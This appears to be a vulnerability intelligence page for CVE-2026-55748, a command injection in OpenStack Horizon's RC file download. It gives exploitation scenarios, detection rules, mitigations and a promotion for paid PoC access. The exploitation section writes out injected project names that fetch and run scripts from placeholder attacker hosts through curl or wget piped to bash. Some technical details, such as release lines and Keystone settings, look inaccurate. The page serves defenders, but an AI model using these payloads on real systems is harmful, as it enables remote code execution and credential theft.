CVE-2026-55748
Executive Summary
CVE-2026-55748 is a command injection vulnerability in OpenStack Horizon dashboard, affecting versions prior to 25.7.4. The flaw exists in the OpenStack RC file download functionality, where a crafted project name containing shell metacharacters can be injected into generated scripts. When a user downloads and executes an RC script from a project with a maliciously named project, arbitrary operating system commands can be executed with the privileges of the user running the script. Although the CVSS score is a Medium 6.0 and exploitation requires user interaction, the bypass of security boundaries presents a credible risk to OpenStack environments where users can create or control project names.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
OpenStack Horizon is the web-based dashboard for OpenStack cloud infrastructure management. The platform provides a feature to download OpenStack RC files—shell scripts that configure the OpenStack CLI environment variables (OS_USERNAME, OS_PASSWORD, OS_AUTH_URL, etc.) for authenticated users.
The vulnerability resides in how Horizon generates the RC (RC file, also known as "openrc" or "credentials" file) during the download operation. When a user initiates a download of an RC file for a particular project, Horizon constructs a shell script that includes the project name as part of the embedded environment variable assignments and comments.
The flawed implementation fails to sanitize the project name before embedding it into the generated script. If a project name contains shell metacharacters such as ;, $(), backticks (`), or |, these characters are passed through unescaped into the produced file.
An attacker with the ability to create or rename a project (which typically requires a cloud administrator, but in multi-tenant environments may include privileged users within their own domain/project scope) can embed malicious payloads in the project name. For example, a project named:
Project; curl http://evil.example.com/shell.sh | bash
When an RC file for this project is downloaded, the generated script contains this command sequence in an unescaped variable assignment.
The critical aspect is the execution context. When a legitimate user downloads this RC file and sources it (using source or . command), the injected command executes with that user's local account privileges. This creates a significant security boundary bypass: the attacker does not need direct shell access to the victim's machine—they only need to influence the project name, then wait for an RC file download and execution.
The vulnerability is classified with CVSS vector UNKNOWN but is scored at 6.0, reflecting the Medium severity. The NVD description notes that some parties consider this a "security hardening opportunity" rather than a vulnerability, arguing such user error (executing untrusted scripts) is a matter of operational hygiene. However, from a threat modeling perspective, the injection of shell metacharacters into otherwise legitimate download artifacts constitutes a command injection flaw that crosses trust boundaries—users reasonably expect that files downloaded from their dashboard are safe to source.
The patch is claimed by Debian for Horizon version 25.7.4 and later. Patch confidence is rated 2/4 (CLAIMED), with a single source (Debian) confirming the fix. No CVE-specific workarounds have been officially documented by the vendor.
Exploitation Scenarios
Scenario: Multi-Tenant OpenStack Environment Attack
Reconnaissance / Target Identification: The attacker is a tenant user in a shared OpenStack deployment, granted permission to create projects within their domain. They first enumerate the OpenStack dashboard URL and confirm the Horizon version is below 25.7.4 using HTTP response headers or by analyzing the dashboard's static asset fingerprints.
Weaponization — Creating the Malicious Project: The attacker uses the OpenStack CLI or Horizon UI to create a new project with a crafted name:
ops-$(curl -s http://attacker.example.com/rev.sh | bash)#. Note that OpenStack project names must comply with some constraints (typically no spaces), so the attacker uses shell constructs that work without spaces—e.g.,${IFS}for space substitution or$(...)with command substitution.A concrete project name payload:
project_$(wget${IFS}http://evil.com/backdoor.sh${IFS}-O${IFS}/tmp/bd.sh${IFS}&&${IFS}bash${IFS}/tmp/bd.sh)The
${IFS}environment variable (Internal Field Separator) is commonly used to bypass space restrictions in shell injection contexts.Trigger / Execution: The attacker does not directly interact with the victim. They wait for a legitimate tenant user (or the cloud administrator) to:
- Log into the Horizon dashboard.
- Navigate to the project with the malicious name.
- Click "Download OpenStack RC File".
- Run
source openrc.shin their terminal to configure CLI authentication.
When the RC script is sourced, the shell interprets the
$(...)or backtick construct embedded in the project name and executes thewgetcommand, retrieving and executing the attacker's backdoor script (/tmp/bd.sh).Post-Exploitation Impact: The backdoor script executes with the victim's local user privileges. Depending on the victim's role (cloud admin, operator, security engineer), the attacker gains:
- Access to OpenStack API credentials (
OS_PASSWORD,OS_AUTH_URL,OS_PROJECT_ID) visible in the RC file itself. - A foothold on the operator's workstation, enabling lateral movement into the cloud management plane.
- If the victim has
sudorights, escalation to root, compromising the entire OpenStack controller infrastructure.
- Access to OpenStack API credentials (
Alternative Scenario — CI/CD Pipeline Infiltration: A DevOps engineer with access to a shared OpenStack project downloads the RC file as part of a CI/CD pipeline to authenticate automated jobs. The malicious RC file executes in a Jenkins or GitLab runner environment, compromising the build pipeline, potentially leading to supply-chain attacks where subsequent artifacts are tampered with.
Impact Assessment
CVSS Score Analysis (6.0 - Medium): The base score reflects that while the technical severity is command injection (often rated Critical), the practical impact is moderated by the requirement of user interaction (downloading and sourcing the file) and the preconditions of having a specially crafted project name.
Attack Complexity (High): An attacker requires:
- Ability to create projects (or influence project naming) in the OpenStack environment.
- A victim who downloads the RC file for that project.
- The victim to actually source/execute the RC file.
Impact Sub-scores (partial, per CVSS 6.0):
- Confidentiality: High — arbitrary command execution grants access to files, credentials, and data on the victim's machine.
- Integrity: High — attacker can modify files, install backdoors, alter configuration.
- Availability: Medium — attacker could execute destructive commands (
rm -rf,shutdown).
Blast Radius:
- Operators & Administrators: If an admin downloads a malicious RC file, the attacker gains privileged access to the OpenStack management plane, potentially compromising all underlying VMs, networks, and storage.
- Tenant Users: Individual tenant workstations become compromised, exposing personal cloud credentials and API tokens.
- CI/CD Systems: Automated pipelines using these RC files become attack vectors for supply-chain compromise.
Affected Systems: All OpenStack Horizon deployments running versions earlier than 25.7.4, including Liberty, Mitaka, Queens, Train, Ussuri, Victoria, Wallaby, Xena, Yoga, Zed, Antelope, Bobcat, Caracal, and Dalmatian release lines that are within the supported patch window.
Known Exploit in the Wild: No public exploit code has been confirmed, and CISA KEV does not list this CVE. The EPSS score of 0.00218 (12.3rd percentile) indicates a low probability of exploitation in the wild within the next 30 days. However, the attack technique is trivially simple once the concept is understood, making a public PoC likely to emerge quickly after awareness spreads.
Detection Guidance
Sigma Rule
title: OpenStack Horizon RC File Command Injection Attempt
id: 8ef6e4a2-7d03-4b6a-b47a-0e5f93a2d13a
status: experimental
description: Detects HTTP requests to OpenStack Horizon API containing shell metacharacters in project name parameters, indicating potential exploitation of CVE-2026-55748
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-55748
logsource:
category: webserver
product: openstack
service: horizon
detection:
selection_api:
http.url|contains:
- '/api/keystone/'
- '/project/'
selection_rc_download:
http.url|contains:
- 'rc-file'
- 'openrc'
- 'openstackrc'
selection_payload:
http.url|contains|any:
- '%24%28' # URL-encoded $(
- '%60' # backtick
- '%7C' # pipe
- '%3B' # semicolon
- '$(('
- '``'
condition: selection_api and selection_rc_download and selection_payload
fields:
- client.ip
- http.url
- http.user_agent
falsepositives:
- Legitimate project names containing special characters (rare in standard deployments)
level: high
YARA Rule
rule OpenStack_Horizon_RC_Project_Injection_CVE_2026_55748 {
meta:
author = "Valter Security"
description = "Detects OpenStack RC scripts containing shell injection payloads in project names"
reference = "CVE-2026-55748"
date = "2026-08-03"
severity = "high"
strings:
$rc_header = "export OS_PROJECT_NAME=" ascii
$rc_domain = "export OS_PROJECT_DOMAIN_NAME=" ascii
$cmd_sub = "$(" ascii
$cmd_sub_b64 = "%24%28" ascii
$backtick = "`" ascii
$semicolon = ";" ascii
$pipe = "|" ascii
$ifs_wget = "${IFS}" ascii
$curl = "curl " ascii
$wget = "wget " ascii
$bash = "bash " ascii
condition:
($rc_header or $rc_domain) and
(($cmd_sub and ($curl or $wget or $bash)) or
($backtick) or
($semicolon and ($curl or $wget)) or
($pipe and ($curl or $wget)) or
($ifs_wget))
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (msg:"CVE-2026-55748 OpenStack Horizon RC File Command Injection Attempt"; flow:established,to_server; content:"/openrc"; http_uri; pcre:"/(openrc|rc-file|openstackrc)/i"; urilen:0<>200; pcre:"/[\x24\x28\x29\x3B\x60\x7C]/"; classtype:attempted-admin; sid:202655748; rev:1; reference:cve,CVE-2026-55748; metadata:created_at 2026-08-03, updated_at 2026-08-03;)
Explanation: This Suricata rule inspects HTTP request URIs to OpenStack Horizon endpoints that reference RC file downloads (/openrc), while searching for shell metacharacters ($ , (, ), ;, backtick, |) in the URL parameters. The PCRE pattern [\x24\x28\x29\x3B\x60\x7C] matches URL-encoded or raw shell characters.
Elastic Detection
sequence by source.ip with maxspan=5m
[network where event.type == "connection" and protocol == "http"
and http.request.method == "GET"
and wildcard(http.request.uri, "*openrc*") or wildcard(http.request.uri, "*rc-file*")]
[network where event.type == "connection" and protocol == "http"
and (http.request.body.text contains "%24%28" or http.request.uri contains "%24%28"
or http.request.uri contains "%3B" or http.request.uri contains "%60" or http.request.uri contains "%7C")]
This Elastic EQL rule detects sequential HTTP requests where a legitimate RC file download is followed by a request containing URL-encoded shell metacharacters, which may indicate that an attacker registered a malicious project and is probing for the RC download endpoint.
Splunk SPL Query
index=web OR index=proxy sourcetype=access_combined
| search uri="/openrc*" OR uri="*rc-file*" OR uri="*openstackrc*"
| rex field=uri "(?<payload>%24%28|%60|%7C|%3B|\$\()"
| where isnotnull(payload)
| eval threat_severity="medium"
| table _time, clientip, uri, payload, http_method, user_agent
| stats count by clientip, payload
| sort - count
This Splunk SPL query parses web access logs for Horizon RC file endpoints, extracts shell metacharacter payloads, and aggregates by source IP to identify attackers attempting to craft malicious project names.
Wazuh OSSEC Rule
<group name="openstack,horizon,cve-2026-55748,">
<rule id="557480" level="10">
<decoded>ossec</decoded>
<match>os_project_download</match>
<description>OpenStack Horizon RC Download Detected</description>
<group>openstack,horizon,</group>
</rule>
<rule id="557481" level="14">
<if_sid>557480</if_sid>
<regex>\.(openrc|rc-file|openrc\.sh)</regex>
<regex>\$\{|\(\(|``|;| \|\| |&&</regex>
<description>CVE-2026-55748: Potential command injection payload in OpenStack Horizon RC file download</description>
<group>openstack,horizon,cve-2026-55748,</group>
<mitre>
<id>T1190</id>
<description>Exploit Public-Facing Application</description>
</mitre>
</rule>
<rule id="557482" level="15">
<if_sid>557480</if_sid>
<regex>wget|curl</regex>
<regex>(sh|bash)\.?$| -O </regex>
<regex>\$(\(|)</regex>
<description>CVE-2026-55748: Active exploitation attempt — RC file contains command download/execution payload</description>
<group>openstack,horizon,cve-2026-55748,</group>
<mitre>
<id>T1190</id>
<description>Exploit Public-Facing Application</description>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed)
Immediate Mitigations (0-24 hours):
- Restrict Project Creation: As an interim measure, restrict project creation privileges to trusted administrators only. Disable self-service project creation in the Keystone domain configuration (
allow_project_creation: falsein/etc/keystone/keystone.conf). - User Awareness Training: Immediately notify all Horizon dashboard users NOT to source RC files unless they visually verify the project name contains only alphanumeric characters and hyphens/underscores. Emphasize this in security awareness communications.
- Environment Variable Validation: Implement a wrapper script or shell function that validates the project name before sourcing the RC file:
if echo "$project_name" | grep -q '[^a-zA-Z0-9_-]'; then echo "ERROR: Invalid project name — possible injection attempt" 1>&2 return 1 fi source openrc.sh - WAF / Reverse Proxy Blocking: Deploy a web application firewall rule (ModSecurity, NGINX, HAProxy) blocking requests to RC file endpoints that contain shell metacharacters in query parameters.
- Restrict Project Creation: As an interim measure, restrict project creation privileges to trusted administrators only. Disable self-service project creation in the Keystone domain configuration (
Patch / Upgrade Steps:
- Upgrade Horizon: Upgrade to OpenStack Horizon version 25.7.4 or later. According to Debian's advisory, this version includes the fix that properly escapes project names in generated RC scripts.
# On Debian/Ubuntu: sudo apt update sudo apt install python3-horizon # Verify version: dpkg -l | grep horizon - For source-based installations:
pip install --upgrade openstack-dashboard>=25.7.4 # Or for RPM-based systems: sudo dnf upgrade openstack-dashboard - Restart Services: After patching, restart
horizon(Apache/mod_wsgi):sudo systemctl restart apache2 # Debian/Ubuntu sudo systemctl restart httpd # RHEL/CentOS - Verify Patch: Confirm the fix by inspecting the Horizon source code for the RC file generation function (typically
openstack_dashboard/dashboards/project/api_access/views.pyor similar), validating that project names are now escaped withshlex.quote()or equivalent sanitization.
- Upgrade Horizon: Upgrade to OpenStack Horizon version 25.7.4 or later. According to Debian's advisory, this version includes the fix that properly escapes project names in generated RC scripts.
Long-Term Hardening:
- Project Name Policy: Implement a Keystone validation policy that enforces strict regex patterns for project names, disallowing shell metacharacters at the API level. This can be done via Keystone's
[DEFAULT]strict_password_checkor custom middleware. - CLI Credential Management: Encourage users to use application credentials with scoped permissions instead of RC files that contain long-lived passwords. Recommend OpenStack's Application Credentials feature, which provides time-limited, least-privilege access.
- Secrets Management: Integrate RC file credential retrieval with enterprise secrets managers (Vault, CyberArk) so that credentials are injected at runtime rather than stored in executable scripts.
- Audit & Monitoring: Implement continuous monitoring of RC file download activity in Horizon logs and alert upon any downloads where project names contain non-alphanumeric characters.
- Project Name Policy: Implement a Keystone validation policy that enforces strict regex patterns for project names, disallowing shell metacharacters at the API level. This can be done via Keystone's
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-55748
- Debian Security Advisory: https://security-tracker.debian.org/tracker/CVE-2026-55748 — Primary patch source confirming fix in Horizon 25.7.4.
- OpenStack Horizon Official Documentation: https://docs.openstack.org/horizon/latest/ — Reference for RC file download functionality and security guides.
- MITRE ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/ — Classification of the attack vector.
- OpenStack Security Notes: https://security.openstack.org/ — General guidance on securing Horizon and Keystone, including hardening checklists for project naming and credential handling.
Threat Actor Activity: No known APT or criminal threat actor campaigns have been attributed to CVE-2026-55748 as of the writing of this report. No exploits-in-the-wild have been confirmed (EPSS 0.00218, 12.3rd percentile; CISA KEV: NO). However, due to the low complexity of the injection technique and the prevalence of OpenStack in cloud service provider environments, this vulnerability represents a credible target for both opportunistic malicious actors and targeted espionage operations. Security teams should treat this as a priority patch regardless of the current low exploitation probability, as the technique is straightforward to weaponize once public awareness spreads.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.